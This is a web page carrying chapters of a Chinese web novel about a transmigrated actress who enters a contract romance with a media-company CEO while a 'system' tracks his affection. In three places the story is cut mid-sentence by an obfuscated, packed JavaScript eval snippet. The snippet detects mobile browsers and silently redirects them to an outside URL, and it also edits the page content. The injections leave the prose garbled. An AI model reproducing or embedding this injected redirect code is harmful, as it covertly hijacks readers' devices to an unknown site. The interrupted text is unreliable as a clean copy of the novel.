与此同时,刚刚在一边欣赏自己与明星合照的司机也放下了手机,乐呵呵地叫她:“月月公主,你和那个青青公主私下关系好不好啊?我媳妇最喜欢看你俩在一块,还给你俩画画呢。” 说着自顾自地在手机相册里翻了半天,尚知遥兴致勃勃地凑过去看,结果没忍住瞪大了眼睛。 画的倒是很好很好的,可是画上的人……怎么是她和程跃在剧中的扮相啊? 她虽然还没看过原片,但程跃长什么样子她还是知道的,况且画中两个人亲密的姿势,实在让当事人看了都忍不住扶额。 闺蜜闺蜜,这好像不是我最爱看的双女主吧? 想想自己以前追星,确实有时候也会把两个关系不好甚至互相仇视的人硬是拉郎配到一块儿,还磕得不知天地为何物,这回轮到自己身上,倒反应不过来了。 次日,薛颖看着站在自己面前的尚知遥,心里有些说不出的滋味儿。 “你老实告诉我,跟程跃炒cp这主意,到底是你自己想的,还是有什么人教你的?” “真是我自己想的,颖姐。”尚知遥诚恳地重申,“您要是觉得有什么不妥,咱们再改嘛,我只是提出一个想法,现在双女主cp真的很火,而且黑红这个路子,总不能一条道走到黑吧?” 薛颖抱着胳膊,审视的眼神在尚知遥身上扫了一遍又一遍,最后无奈地摇着头笑了笑:“小尚,你这段时间真是变了不少。” “颖姐教得好,我也总得有所成长。”尚知遥说。 薛颖挑了挑眉:“我教得好?我可没教过你这些。” 见尚知遥沉默,她接着说:“想想咱们刚认识的时候,你那么怯生生的,满脑子只想着赚钱给姥姥治病,让干嘛就干嘛,一点多余的话都不说。老人家最近怎么样了?” 尚知遥一愣,听出薛颖语气里的不快,迟疑了一会儿道:“颖姐,我没有别的意思,您忙的时候顾不上,我也只是想帮您分担些压力。我姥姥一切都好,在家里有专人照顾呢。” 关于姥姥的事,她其实只听系统说过一点点,她从小没有父母在身边,一直跟着姥姥长大,感情很深。前些年老太太体检查出乳腺癌早期,幸亏早发现早治疗才逃过一劫。 也就是那个时候,她为了凑够姥姥手术的钱,一脚踏入娱乐圈。 薛颖仍然带着笑意:“那时候我手底下艺人多,你也并不突出,要是当时我就看出你有这份儿聪明,肯定会高看你一眼。唉,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536248|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我没当好你的伯乐啊。” “颖姐……” “行啦,我又没说你什么,姐是替你高兴。”薛颖拍了拍她的胳膊,“很好的想法,相关方案我之后会发你微信,能不能执行好,就是你的事儿了。” 尚知遥跟薛颖道了谢,出去之后边走边在手机上点开了一个备注为“宋小棠”的对话框。 “遥姐,你让我查的事情我都写在这个word里了,你看看要是还有什么需要完善的,我再改。” 两条未读消息,一条是语音,一条是宋小棠整理好的文件。 宋小棠就是她穿越过来的那天陪在她身边的小助理,这小姑娘刚大学毕业,虽然性格内向木讷了些,但工作上却意外的能干。 尚知遥昨天才让她帮忙查查霍景宴的身份和经历,没想到这么快就完成了,她粗略看了一下文件,条理清晰排版干净,看来回去要好好研究一下了。 正想着,手机又响了一声,还是宋小棠:对了遥姐,之前买的水军被清得差不多了,还要继续买吗? 尚知遥疑惑地皱眉,回了个电话过去:“你说清楚,什么水军?” “啊?就是遥姐你让我买的啊,就让他们无脑跟风骂你就行,尤其要在程跃热度高的词条下面挑起对立……我应该没有理解错,我这儿还有当时的聊天截图呢。” 尚知遥边皱着眉看她发来的截图,一边抽空感叹了一下,这小丫头还知道工作留痕,不错不错。 果然是自己发的消息截图……宋小棠没有理解错她的要求——不,是原主的要求。 可是,原主为什么要这么做呢? “当时我还纳闷儿呢,以为遥姐你喝多了,但……”或许是见她一直沉默,宋小棠忽然话锋一转,“反正我无条件相信你,当初那么多人都把你当花瓶当群演,但你看你现在,虽然说风评差了点吧,但是最起码能自己一个人自由自在地活着了,我挺羡慕你的。” 尚知遥听得云里雾里,能从宋小棠的声音中听出她的真挚和动容,但具体发生了什么却弄不明白,只知道原主以前或许过得很惨,通过某个契机一跃成为了圈内有点知名度的小明星。 不过,关于买水军这件事,她或许有点明白原主是怎么想的了。 欲扬先抑,先虐一波粉再梨花带雨地出来澄清,手段确实不值得称赞,但是成功翻身的至少有九成。 “小棠,水军你接着买,就像我之前告诉你的那样做就行。资料整理得不错,我看完再答复你。”顿了顿,尚知遥还是没忍住说了句,“好好干,你还年轻,自在的日子在后头。” 她觉得自己好像一下子回到了还在职场里当个小组长的时候,明明她自己也并非什么混迹职场的高手,职称不过是个称谓而已,刚进入社会的应届生妹妹却崇拜她、羡慕她,说想有朝一日成为她。 她那时并不明白这小妹妹是怎么想的,连她自己都不想成为当时的自己——正如她今天也不想成为此刻的自己,莫名其妙成了一个这原主这个烂摊子的接盘侠,莫名其妙黑料缠身还背上奇怪的攻略任务……然而与当时不同的是,她能够理解今天自己面前的这个“小妹妹”了。 人人都看不上刚进职场的大学生,人人都看不起刚进入娱乐圈的新人,可是明明谁都是从那个时候走来的,谁都有遇到过烂人或者贵人,说什么不理解,只不过是走的太远,而忘了来时的路罢了。 5. 第 5 章 挂掉电话,她立刻打开了宋小棠精心准备的那份资料,详略得当又重点突出,一眼就看到了加粗加大字号的“恋爱经历”。 尚知遥立刻来了兴致,谁能拒绝一份霸道总裁的恋爱报告呢? 更何况是一位见了她一面就要与她签订恋爱协议的总裁。 这份报告分了三个部分,前两部分是恋爱经历,最后一部分是其他杂项。 第一部分最长,名为“高中时期”,里面洋洋洒洒记录了霍景宴在美国四年高中时间谈的五段恋爱,其中有四段虽然情节精彩丰富,但是都在末尾标注了小字“真实性存疑”。 尚知遥:……合着全是八卦呗? 刚才真是白夸宋小棠这丫头了,要是部门的年度财务报表交给她来做…… 还是赶紧打消这个念头吧,谁知道她会不会在一通不明觉厉的分析后写上“真实性存疑”。 尚知遥粗略看了看这四段不知从哪儿搜罗来的八卦恋情,有说霍景宴始乱终弃逼女友打胎的,有说女友中途出轨富二代没想到小三没有霍景宴有钱又回来倒追的,还有说霍景宴搞姐弟恋发现姐姐已婚带俩娃的…… 她特别想问问宋小棠,消息来源到底是哪里?晋江还是番茄? 最让她感兴趣的还是最后一段,唯一一个寥寥几笔带过,却没有标上“真实性存疑”的这位…… “安柠……”尚知遥轻声念出这个名字,指尖在屏幕上反复摩挲这两个字。 名字温婉又干净,像初春刚抽芽的柠檬树,确实符合霸总文里白月光的设定。 她想起之前系统说的“霍景宴有一位已故爱人”,心里顿时有了答案——这个安柠,一定就是那个让霍景宴念念不忘的人。 可宋小棠的报告里,关于安柠的记录少得可怜,只有短短两行:“20xx年四月,霍景宴与安柠在纽约大学交换生项目中相识相恋;次年十一月,安柠因急性白血病去世,霍景宴暂停学业回国处理后事。” 没有照片,没有更多相处细节,甚至连安柠的籍贯、专业都没提。 尚知遥放下手机,走到落地镜前。 镜子里的女人穿着米白色真丝睡裙,长发松散地披在肩头,眉眼精致,尤其是那双眼睛,乌黑有神,眼尾微微上挑,带着几分不经意的柔情。 她想起系统说的自己与安柠有几分相似,忍不住抬手抚上自己的眼角——如果安柠也有这样一双眼睛,那确实值得霍景宴记挂这么多年。 她试着回忆自己十九岁时的模样:那时候她刚考上本地的二本院校,穿着洗得发白的牛仔裤,背着几十块钱的帆布包,每天挤公交去兼职,最大的梦想是攒够钱给姥姥买台按摩仪。 而安柠十九岁时,已经在纽约大学做交换生,能和霍景宴这样的富二代并肩,她们的人生,简直是云泥之别。 这样干净又美好的女孩儿,难怪霍景宴会记这么久。 尚知遥轻轻叹了口气,心里忽然生出几分同情。 十九岁,本该是人生最鲜活的年纪,安柠却永远停在了那个冬天,连带着霍景宴的青春,也跟着蒙上了一层悲伤的滤镜。 她转身坐回沙发,拿起手机继续翻看报告,可心里却乱糟糟的。攻略一个心里装着白月光的男人,已经够难了,更何况这个男人还只是把她当成了替身? 回过神来,尚知遥质问系统:“到底谁给我选的攻略对象,自己看看这尊大佛谁攻略得动啊!” 系统无言,不知道是没开机还是无话可说。 报告的第二部分很简短,只写了霍景宴的一个没有后续的联姻对象,两人似乎交往了一段时间,但很快就分开了,原因写的是“属相不合”。 报告附上了她的照片,尚知遥觉得长得有点像她爸。 她的眼睛就是遗传她爸,乌黑有神,还有大双眼皮。 ……此男真是为了寻找替身而不择手段啊。 她关掉第二部分,点开最后一部分“事业版图与个人杂项”。 这部分的内容倒是详实得多,宋小棠显然做了不少功课——霍景宴的父亲是做房地产起家的,家底丰厚,霍景宴十八岁时就拿着父亲给的五千万启动资金,在国内注册了丰秋传媒。 初期公司主要做艺人经纪,签了几个选秀出身的小艺人,没什么水花。 直到三年前,霍景宴赌对了一部小成本网剧,用“黑马姿态”拿下当年的网剧热度冠军,后续又接连签下几位实力派演员,还投资了两部票房破十亿的电影,才彻底在娱乐圈站稳脚跟。 报告里还提到,霍景宴在行业上升期吃到了对赌协议的红利,曾多次用高风险对赌拿下优质项目。 比如去年,他和短剧视频平台签了“一年内推出三部爆款剧”的对赌协议,要是完不成,就得赔偿平台两亿违约金。 结果他靠着一部古装剧、一部都市剧和一部悬疑剧,不仅完成了对赌,还赚了近五亿,让业内人都不得不佩服他的眼光和魄力。 “还是个懂行的富二代。”尚知遥看着报告里的数据,心里暗自点头。 她以前在小公司做行政时,也听老板提过“对赌协议”,知道这东西风险极高,稍有不慎就会赔得底朝天。 霍景宴能靠对赌把公司做大,确实有两把刷子,不是那种只会靠爹的草包富二代。 可越了解霍景宴,尚知遥心里越没底。 他有钱有势,眼光毒辣,心里还装着白月光,对感情带着如此厚重的执念,这样的男人,怎么可能轻易被攻略? 就在这时,手机突然震动了一下,是宋小棠发来的消息:“遥姐,我刚查到,每年安柠的忌日,他都会闭门休假,连公司的重要会议都会推掉。还有,咱们公司每年都有资助白血病患儿的治疗项目,应该是为了纪念安柠。” 尚知遥看着消息,心里五味杂陈。 霍景宴对安柠的深情,已经渗透到了生活和事业的方方面面,她这个“替身”,到底要怎么做才能走进他心里? 她手指在屏幕上敲打,回复宋小棠:“辛苦你了,再帮我查一下安柠去世前的治疗医院,还有当时的主治医生,有消息及时告诉我。” 发送完消息,尚知遥靠在沙发上,望着窗外的夜景。 城市的霓虹透过落地窗洒进来,在地板上投下斑驳的光影,像极了她现在的处境——看似光鲜亮丽,实则暗流涌动。 就在这时,系统的电子音突然响起:【宿主请注意,检测到霍景宴的私人别墅距离你当前位置不足三公里,他此刻正在家中。是否需要触发“偶遇”剧情?】 尚知遥猛地坐直身体,眼里闪过一丝犹豫。 偶遇?现在去找霍景宴,会不会太刻意了? 霍景宴才刚给了她考虑恋爱协议的机会,要是她这么快贴上去,岂不是显得之前的犹豫都是欲拒还迎? 【宿主,在我看来你无需担心这个,霍景宴比你更着急想要签下这份协议,如果说得再清楚点……他身边已经很久没有合心意的女伴了。】 尚知遥点点头,的确,若能早点了解他对安柠的感情,说不定能找到攻略的突破口。 她咬了咬唇,最终还是下定了决心:“触发偶遇剧情,但要自然一点,别让他看出破绽。” 【收到指令,已为宿主规划路线:十分钟后,霍景宴将驾车前往别墅附近的24小时便利店购买咖啡,宿主可在便利店门口“恰巧”遇到他。】 尚知遥立刻起身,快步走向衣帽间。她翻出一件黑色风衣,搭配简单的白色T恤和牛仔裤,又化了个淡妆,重点突出了自己的眼睛——既然霍景宴喜欢这双眼睛,那她就先从这里入手。 尚知遥裹紧黑色风衣,站在24小时便利店的玻璃门后,揣在口袋里的双手无意识地紧紧握拳。 便利店暖黄的灯光落在她脸上,冲淡了几分夜色带来的凉意,可她的心跳却像擂鼓一样,在胸腔里咚咚作响。 【宿主,霍景宴的车辆已进入便利店停车场,预计一分钟后到达。】系统的电子音准时响起,带着机械的精准。 尚知遥深吸一口气,快步走到冰柜前,不自觉地挑选起了酸奶。 她眼角的余光紧紧盯着门口,只见一道颀长的身影推开玻璃门,带着外面的寒气走了进来。 霍景宴穿着一身深灰色休闲西装,没打领带,领口的两颗扣子解开,露出线条清晰的锁骨。 他头发微湿,像是刚洗过澡,几缕碎发贴在额前,少了几分平时在公司的凌厉,多了些慵懒的松弛感。 他手里拿着车钥匙,径直走向收银台旁的咖啡机,动作流畅地按下按钮,浓郁的咖啡香气瞬间弥漫开来。 尚知遥的心跳漏了一拍。 她没想到霍景宴私下里是这样的模样——没有了会议室里的压迫感,也没有提出签恋爱协议时的强势,像个刚结束工作的普通工薪阶层,只想用一杯热咖啡驱散疲惫。 她定了定神,拿起一盒草莓味酸奶,慢慢走向收银台。 路过咖啡机时,她“不小心”撞到了旁边的货架,手里的酸奶盒“啪嗒”一声掉在地上,酸奶洒了一地。 “抱歉抱歉!”尚知遥立刻蹲下身,假装慌乱地去捡盒子,眼角却偷偷观察霍景宴的反应。 霍景宴刚接好咖啡,听到动静转过头。 他看到蹲在地上的尚知遥,眉头几不可察地皱了一下,随即走上前,弯腰捡起她掉在地上的酸奶盒,扔进旁边的垃圾桶里。 “小心点。”他的声音比平时低了些,好像带着咖啡的温热感,没有了白天的冰冷。 尚知遥站起身,拍了拍膝盖上的灰尘,脸上露出恰到好处的尴尬:“霍总?这么巧,您也来买东西?” 她刻意避开“深夜”这个词,免得显得太过刻意。 霍景宴拿着咖啡杯,指尖在杯壁上轻轻摩挲,目光落在她脸上。 他的眼神比白天柔和了些,却依旧带着审视,像是在判断她是不是“故意”出现在这里。 “嗯,这里的咖啡虽然不是手磨,但是别有一番风味。” 他淡淡回应,目光扫过她手里空着的手,“酸奶洒了,不再拿一盒?” 尚知遥心里一紧,连忙点头:“哦,好,我再去拿一盒。” 她转身想走,却被霍景宴叫住:“等等。” 她停下脚步,心里咯噔一下——难道被他看穿了? 霍景宴指了指她的风衣下摆:“沾上酸奶了。” 尚知遥低头一看,果然,风衣下摆上沾了一块白色的酸奶渍,在黑色的布料上格外显眼。 她脸颊瞬间发烫,连忙用手去擦,却越擦越脏。 “哎呀,这……” 霍景宴看着她手忙脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536249|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱的样子,嘴角几不可察地勾了一下,随即又恢复了平静。 他从口袋里掏出一包湿纸巾,什么都没说,却有一种解人燃眉之急的风度。 尚知遥接过湿纸巾,指尖不小心碰到了他的手指。 他的手指微凉,带着咖啡杯的余温,让人不忍抽离。 “谢谢霍总。”她小声道谢,低头认真地擦着风衣上的污渍,不敢再看他的眼睛。 霍景宴靠在旁边的货架上,喝了一口咖啡,目光落在她的侧脸上。 便利店的灯光落在她的睫毛上,投下淡淡的阴影,她的侧脸线条柔和,尤其是在认真做事的时候,眉眼间少了白天的警惕,多了几分青涩的模样。 这副模样,又一次与记忆里某个片段重叠。 他的眼神暗了暗,喉结轻轻滚动了一下,不知在思索什么。 尚知遥擦完污渍,抬头就对上霍景宴的目光。 他的眼神有些复杂,带着她看不懂的情绪,像是怀念,又像是惋惜。 “霍总,您怎么了?”尚知遥故意问道,想打破这尴尬的氛围。 霍景宴回过神,收回目光,摇了摇头:“没什么。”他看了看手表,“这么晚了,你怎么会在这里?” 尚知遥早就想好了借口:“我住这附近,晚上有点饿,过来买点吃的。没想到会遇到您。” 她一边说,一边指了指收银台旁边的面包架,“打算买个三明治当夜宵。” 霍景宴点了点头,没有再追问。他喝完最后一口咖啡,把杯子扔进垃圾桶:“我送你回去。” 尚知遥愣了一下,连忙摆手:“不用了霍总,我自己回去就行,挺近的。” 她可不想和霍景宴单独待在车里,万一露馅了怎么办? “顺路。”霍景宴的语气不容拒绝,他已经迈步走向门口,“走吧。” 连她的地址都没问就说顺路……尚知遥没办法,只能跟上他的脚步。 走出便利店,夜晚的风带着凉意吹过来,她忍不住缩了缩脖子。 霍景宴注意到她的动作,放慢了脚步,把自己的西装外套脱下来,递给她:“穿上,别着凉了。” 尚知遥看着他递过来的西装外套,上面还带着他身上淡淡的雪松味,心里犹豫了一下。 她知道自己不该接,可在霍景宴的目光下,她还是鬼使神差地接过外套,披在了身上。 外套很大,把她整个人都裹了进去,带着他的体温,让她心里莫名的安定。 霍景宴的车就停在便利店门口不远处,是一辆黑色的宾利,低调又奢华。 他打开副驾驶的车门,做了个“请”的手势。 尚知遥受宠若惊地坐进车里,座椅柔软舒适,车内弥漫着和他身上一样的雪松味,让她有些紧张。 霍景宴坐进驾驶座,发动车子。 车内很安静,只有发动机轻微的声音。尚知遥看着窗外飞逝的夜景,不知道该说些什么。 她偷偷看了一眼霍景宴,他正专注地开车,侧脸线条凌厉,下颌线清晰,灯光在他脸上投下明暗交错的光影,竟有些好看。 “恋爱协议的事,考虑得怎么样了?”正在她出神的时候,霍景宴突兀地出声。 “啊,我……”尚知遥下意识抬起手捏住发梢的一缕头发,“我……” 这个动作不知戳到了霍景宴哪里,只见他眼神一暗,很快别开了头。 “算了,回家早点睡觉,别忘了明天上午十点,我要见到你。” 从他的角度,看不清尚知遥被手挡住的下半张脸,只能看见她不明所以地微微点了点头。 只露出眼睛,有种欲盖弥彰的美。 车内又恢复了安静,可气氛却和刚才不一样了。 车子很快到达尚知遥住的小区门口。尚知遥解开安全带,把西装外套递给霍景宴:“谢谢霍总送我回来,外套还给您。” 霍景宴没有接,而是说:“你先穿着,明天上班再还给我。”他顿了顿,又补充道,“明天早上我让司机去接你,一起去公司。” 尚知遥愣了一下,随即明白过来——系统说的没错,霍景宴的确比她还急。 她心里犹豫了一下,最终还是点了点头:“好,谢谢霍总。” 她推开车门,走下车,转身对霍景宴说:“霍总,晚安。” 霍景宴看着她的背影,直到她走进小区大门,才发动车子离开。 尚知遥走进电梯,靠在电梯壁上,她摸了摸身上的西装外套,上面还残留着霍景宴的气息,让她心里有些乱。 【宿主,本次偶遇剧情完成,霍景宴对宿主的好感度提升5%,当前好感度15%。】 竟然才提升了5%……她好不容易策划一次偶遇,这男的也太难攻略了吧! 明明心里急着把她变成合约恋爱对象,表面却不动声色的……还把她撩得够呛。 “呸呸呸!我是来攻略男主的,不是让男主攻略我的……”尚知遥甩了甩头,不明白自己怎么会突然冒出这种想法。 【宿主,给你个提示,系统显示的好感度是针对你本人的,但男主本身表现出来的好感,可能不是对你本人。】 “……知道了知道了,用你说呀。”尚知遥忍不住叹了口气。 攻略这个有白月光的霸道总裁,还真是任重道远。 6. 第 6 章 为了第二天的签约,尚知遥特意提前半小时起床,打开衣柜反复挑选穿搭。 太华丽会显得刻意讨好,太朴素又不够正式,最后她选了一身米白色西装裙,内搭浅灰色真丝衬衫,领口系了一条细巧的珍珠项链。 刚走到楼下,就看见霍景宴的黑色宾利停在路边,车身在晨光里泛着冷冽的光泽。 司机恭敬地为她打开后座车门:“尚小姐,霍总已经在办公室等您了,路上大概需要二十分钟。” 车内弥漫着和霍景宴身上一样的雪松香,副驾驶座上放着一份包装精致的早餐。 “尚小姐,这是霍总特意让我准备的,说是您可能没来得及吃早饭。” 司机递过早餐,语气温和。 尚知遥愣了一下,打开盒子,里面是一份三明治、一杯热牛奶,还有一小份水果切盒,分量不多不少,刚好符合女生的食量。 她咬了一口三明治,面包松软,火腿鲜嫩,心里忽然泛起一丝微妙的感觉。 如此体贴的行为,也不知是照顾过多少女友才练出来的。 说不定宋小棠总结的那些“真实性存疑”的女友,还只是他的冰山一角。 丰秋传媒总部大厦气派非凡,电梯直达顶层总裁办公室。尚知遥深吸一口气,推开厚重的实木门,就看见霍景宴坐在宽大的黑檀木办公桌后,正低头翻看文件。 阳光透过巨大的落地窗洒在他身上,勾勒出他挺拔的肩线与冷硬的下颌线,连落在文件上的指尖都透着几分疏离感。 “来了?坐。”霍景宴头也没抬,指了指办公桌前的椅子,随后将一份打印好的协议推到她面前,“法务已经审核过了,你看看条款,有疑问可以提。” 尚知遥拿起协议,逐字逐句仔细翻看。 果然如系统所说,核心条款清晰明确:合约期限一年,期间她需以“霍景宴女友”身份出席公开活动,每月至少配合两次媒体拍摄……作为回报,霍景宴会为她提供至少两部S级影视项目的参演机会,以及至少两个一线品牌的代言资源。 协议末尾还特别标注了“乙方(尚知遥)有权拒绝甲方(霍景宴)提出的不合理私人要求”,这一条让她心里的石头稍稍落了地。 “霍总,协议里既然说可以拒绝要求……我能不能冒昧问一句,你会有什么样不合理的要求呢?” 霍景宴终于抬眼,深邃的眼眸落在她脸上,带着几分审视,又似乎藏着一丝不易察觉的复杂:“我需要的是一个合格的女友角色,能在公众面前维持得体形象,不添乱、不越界。至于私下……”他顿了顿,补充道,“我不会做强迫你的事,我只要你在我需要的时候陪在我身边。” 这句话莫名让尚知遥松了口气。 她拿起笔,在协议上签下自己的名字,字迹工整有力。 笔尖落下的瞬间,系统提示音准时响起:【恋爱协议正式生效!霍景宴好感度上升至20%。】 看着她的签名,霍景宴露出了满意的微笑,随后从抽屉里拿出一张烫金名片递给她:“今晚有个商业晚宴,是圈子里的重要场合,七点司机来接你。穿得正式点,别迟到。” 他的语气依旧平淡,像是在交代一件普通工作。 “好的,霍总。”尚知遥接过名片,指尖触到卡片的冰凉质感,心里默默盘算着。 这是协议生效后的第一次公开亮相,既要符合“霍景宴女友”的身份,又要展现自己的风格,绝不能出岔子。 为了晚宴,尚知遥特意让宋小棠帮忙联系了造型团队。 傍晚,造型师准时上门,为她挑选了一件酒红色丝绒长裙,裙摆垂坠感极佳,勾勒出她纤细的腰肢与优美的肩颈线条;妆容是精致的复古港风,眼尾微微上挑,唇釉选了显白的正红色;发型是低挽的发髻,颈间戴着霍景宴早上让司机送来的钻石项链,碎钻在灯光下闪烁着细碎的光芒。 “遥姐,你这也太好看了吧!今晚肯定能艳压全场!” 宋小棠看着镜中的尚知遥,眼睛都亮了。 她知道尚知遥和霍景宴之间协议的事后,就觉得自己没跟错艺人,此刻看着自家艺人有了背后支持的资本,心里比谁都高兴。 尚知遥对着镜子笑了笑,刚要说话,手机就响了,是司机发来的消息:“尚小姐,我已在楼下等候。” 晚宴设在市中心的某酒店宴会厅,门口铺着长长的红地毯,记者们举着相机严阵以待。 尚知遥挽着霍景宴的手臂走进去时,闪光灯瞬间此起彼伏,快门声连成一片。 她脸上挂着标准的微笑,目光从容地扫过全场,脚步稳而不慌。 这是她穿越后第一次参加如此高端的场合,却没有丝毫怯场,反而有种“既来之则安之”的坦然。 “霍总,好久不见!哟,您这女伴眼生,真是年轻漂亮啊!” 一位穿着定制西装的富商端着酒杯走过来,笑容满面地打招呼,目光在尚知遥脸上停留了几秒,带着几分探究。 霍景宴微微颔首,语气客套:“王总,好久不见。这是尚知遥,公司艺人。” 他没有过多介绍,却轻轻拍了拍尚知遥挽着他手臂的手,像是在给她无声的支撑。 尚知遥立刻会意,笑着对王总点头:“王总您好,初次见面,请多指教。”她的声音清甜却不做作,举止得体,丝毫没有新人的局促。 王总愣了一下,随即笑着举杯:“尚小姐客气了,以后都是圈子里的人,多走动走动。” 两人寒暄几句后,王总又被其他宾客围住。 霍景宴带着尚知遥走到自助餐区,拿起一个精致的餐盘递给她:“先吃点东西垫垫,晚宴要持续到十点,别空腹喝酒。” 他说着,自然地帮她夹了一块三文鱼,放在餐盘里。 尚知遥接过餐盘,心里泛起一丝暖意。 她原以为霍景宴会全程把她当“工具人”,没想到还会顾及她的感受。 “谢谢霍总。”她轻声道谢,拿起叉子小口吃着三文鱼,一边观察着周围往来的宾客。 就在这时,一位穿着香槟色礼服的女士走过来,是知名投资人李桥。 李桥和霍景宴合作过不少项目,关系还算熟络。 “景宴,你可藏得够深啊,这么漂亮的女朋友,现在才带出来。”李桥笑着打趣,目光落在尚知遥身上,“尚小姐看着面生,是刚进圈的新人吗?” “李姐您好,我是尚知遥,之前拍过几部小成本网剧,确实是新人。” 尚知遥坦然承认,没有刻意装熟,也没有妄自菲薄。 李桥上下打量着她,笑着说:“新人好啊,有冲劲。我最近在筹备一个女性题材的电影,正缺一个有灵气的年轻演员,尚小姐要是有兴趣,回头可以让经纪人联系我。” 这话一出,周围几位宾客都露出惊讶的表情。 李姐眼光挑剔是圈内出了名的,能得到她的主动邀请,可见她对尚知遥的印象不错。 尚知遥心里一喜,刚要道谢,就听见霍景宴开口:“李姐这么看重她,是她的运气。不过她最近已经接了《知己》这部剧,后续的工作安排,还要看剧组的进度。” 他语气平淡,却巧妙地为尚知遥留了余地,既没直接拒绝,也没贸然答应。 尚知遥立刻明白霍景宴的用意,顺着他的话说道:“谢谢李姐的厚爱,我目前确实以《知己》的拍摄为主。如果后续有合适的机会,我一定主动联系您。” 李姐笑着点头:“好,我等你消息。”说完,便转身和其他宾客交谈去了。 “刚才为什么不直接答应?李姐的资源很难得。”尚知遥小声问霍景宴,有些不解。 霍景宴端起一杯香槟,轻轻抿了一口,眼神扫过全场:“李姐的项目虽好,但女性题材容易引发争议,以你现在的路人缘,贸然接下很容易被黑‘蹭热度’。等《知己》播出后,你的口碑有所好转,再考虑也不迟。”他顿了顿,看向尚知遥,“要在娱乐圈立足,首先得学会判断利弊,别只看眼前的利益。” 尚知遥恍然大悟。原来霍景宴看似冷漠,却一直在默默为她考虑。 晚宴进行到一半,霍景宴被几位合作方缠住谈生意,尚知遥便独自走到露台透气。 晚风拂过,带着几分凉意,吹散了宴会厅的喧嚣。 她靠在栏杆上,看着远处璀璨的城市夜景,忽然觉得有些不真实。 穿越前她连参加公司年会都紧张,现在却能在这样的场合游刃有余,甚至得到投资人的青睐。 “在想什么?”身后传来霍景宴的声音。尚知遥回头,看见他手里拿着一件黑色西装外套,正缓步向她走来。 “没什么,就是觉得这里的夜景很好看。”尚知遥笑了笑。 霍景宴将西装外套递给她:“晚上风大,别着凉了。” 他走到栏杆旁,和她并肩站着,目光落在远处的江面上。 “刚才李姐的话,你别往心里去。她虽然眼光好,但项目周期长,对你现阶段的发展帮助不大。《知己》是许淮编剧的作品,他虽然严苛,但能让你学到不少东西,对你提升演技更有好处。” 尚知遥接过外套,披在身上,瞬间被温暖的雪松气息包裹。她没想到霍景宴竟然会特意去了解《知己》这部剧,甚至知道许淮的性格。 “您怎么知道许淮老师严苛?”她好奇地问。 “许淮以前帮我投资的电影写过剧本,脾气是爆了点,但对作品的要求极高,能得到他的认可,对你后续的发展很有利。”霍景宴语气平淡,却透着对行业的熟稔,“过两天进组,记得多听多学,少说话,别和剧组的人起冲突。尤其是……别和程跃硬碰硬。” 提到程跃,尚知遥心里微微一沉。 “她也在组里?我怎么没听许老师提起……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536250|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你和许淮很熟?”霍景宴锐利的目光扫过她,片刻又挪开了,“给她安排了个小角色。不是你要和她炒双女主cp?薛颖跟我提的时候我还挺惊讶,你还不算太笨。” “说不上熟,只是试镜的时候交谈过几句。”尚知遥微微点头,“我想法不成熟,还得靠颖姐多提点。” 霍景宴看着她,忽然笑了,道:“在我面前,不用说这些冠冕堂皇的话。虽然现在要求你这个有点难,但我希望随着时间推移,你能真的把我当作男友来对待。” 【系统提示:霍景宴当前好感度26%。】 晚宴结束后,霍景宴送尚知遥回家。车停在小区门口,尚知遥刚要下车,就被霍景宴叫住:“等一下。” 他从后座储物格里拿出一个精致的丝绒盒子,递给她,“几天后就要进组了,这个给你。” 尚知遥打开盒子,里面是一条设计简约的铂金手链,链身纤细,坠着一颗小小的星星吊坠,和之前他送的项链正好配套。 “这太贵重了,我不能收。”她连忙推辞,协议里已经约定了资源交换,她不想再欠霍景宴人情。 “算是……合作愉快的见面礼。”霍景宴将盒子塞到她手里,语气不容拒绝,“戴着吧,明天进组,也算是给你撑撑场面,别让人觉得你没人撑腰。” 尚知遥看着他认真的眼神,终究还是收下了盒子:“谢谢你。” 看着霍景宴的车消失在夜色中,尚知遥低头看着手里的丝绒盒子,心里忽然有些温暖。 一开始配合霍景宴签这个所谓的恋爱协议,不过是觉得能够离攻略目标更近一些,也没想过利用他的资源做些什么。 可是经过这些天的相处,她看到了这个男人不仅仅是有钱有权那么简单,他不是头脑简单的暴发户,而是真真正正一步一步靠着自己的智慧和努力坐到这个位置上,人脉、情商、审时度势的能力,都是她能从他那里获得的经验。 哪怕抛开钱不谈,霍景宴也是一位很高质量的男友。 不久后,尚知遥带着行李来到《知己》剧组。 片场设在郊区的影视基地,到处都是忙碌的工作人员,场务忙着搬运器材,化妆师在给群演补妆,道具组在布置场景,空气中混杂着咖啡香、道具布料的味道和淡淡的灰尘味,陌生却充满活力。 